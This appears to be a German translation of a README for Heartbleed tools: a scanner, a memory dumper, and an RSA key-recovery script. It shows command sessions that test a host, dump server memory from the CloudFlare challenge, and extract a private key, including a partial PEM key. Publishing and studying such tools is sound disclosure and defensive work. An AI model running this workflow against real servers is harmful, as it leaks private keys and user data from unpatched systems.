
OpenSSL Heartbleed (CVE-2014-0160) Schwachstellenscanner, Dataminer und RSA-Schlüssel-Wiederherstellungstools.
Autor: Einar Otto Stangvik / @einaros / https://hacking.ventures
Da die Katze längst aus dem Sack ist und andere begonnen haben, ihre Tools zu veröffentlichen, stelle ich auch meine zur Verfügung. Hoffentlich erhöht dies den Druck auf diejenigen, die ihre Server immer noch nicht gepatcht oder aktualisiert haben. Andere mögen die Tools als lehrreich empfinden.
Im Gegensatz zu vielen anderen Heartbleed PoCs stellt dieses Tool die meisten möglichen Ciphers im anfänglichen ClientHello-Paket bereit. Der vom Server gewählte Cipher wird für alle nachfolgenden ClientHello-Pakete in einer Dump-Sitzung verwendet. Das sollte eine ordnungsgemäße Erkennung von Schwachstellen gewährleisten und den Overhead verringern, sobald ein Cipher gefunden wurde.
Verwenden Sie diese Tools nach Belieben, aber tun Sie uns allen einen Gefallen: Lösen Sie Probleme, anstatt sie zu schaffen.
Inspiriert durch die Arbeit und Veröffentlichungen von:
Hier ist zu sehen, wie einer der RSA-Primzahlen der CloudFlare Challenge 34 Mal in einer Minute wiederhergestellt wird. Das entspricht dem Erhalt des vollständigen privaten Schlüssels 34 Mal in einer Minute.

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record:
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# Dupm data from CloudFlare's old challenge server
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# Look for prime in the dump
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# Extract key once found
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
Der Autor hat und wird keinerlei Rechte an irgendeinem Teil dieses Pakets beanspruchen. Es basiert auf offenen Ideen und soll für alle, die es betrifft, offen bleiben.